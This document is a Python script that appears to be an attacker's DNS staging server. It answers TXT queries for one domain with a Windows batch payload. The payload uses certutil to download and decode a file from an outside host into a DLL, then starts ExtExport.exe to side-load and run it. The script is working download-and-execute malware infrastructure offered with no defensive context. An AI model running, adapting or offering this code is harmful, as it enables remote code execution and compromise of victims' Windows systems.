import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, TXT
from dnslib.server import DNSServer, BaseResolver
from time import sleep
payload = r'@echo off&set t=%TEMP%&set j=\Internet Explorer\ExtExport.exe&set p="%ProgramFiles%%j%"&set x="%ProgramFiles(x86)%%j%"&set h=certutil&%h% -urlcache -f http://mail.erikumphery.com/z %t%\r >nul&%h% -decode %t%\r %t%\mozcrt19.dll >nul&start "" %p% %t% 3 2||start "" %x% %t% 1 5'
response_data = {
    "mail.erikumphery.com.": payload
}

class MyResolver(BaseResolver):
    def resolve(self, request, handler):
        reply = request.reply()
        qname = str(request.q.qname)
        qtype = QTYPE[request.q.qtype]
        if qtype == "TXT" and qname in response_data:
            txt_response = response_data[qname]
            reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(txt_response), ttl=60))
        else:
            reply.header.rcode = 3  # NXDOMAIN if not found
        return reply

def start_dns_server():
    resolver = MyResolver()
    server = DNSServer(resolver, port=53, address="0.0.0.0", tcp=False)
    server.start_thread()

if __name__ == "__main__":
    start_dns_server()
    try:
        while True:
            sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Shutting down server.")
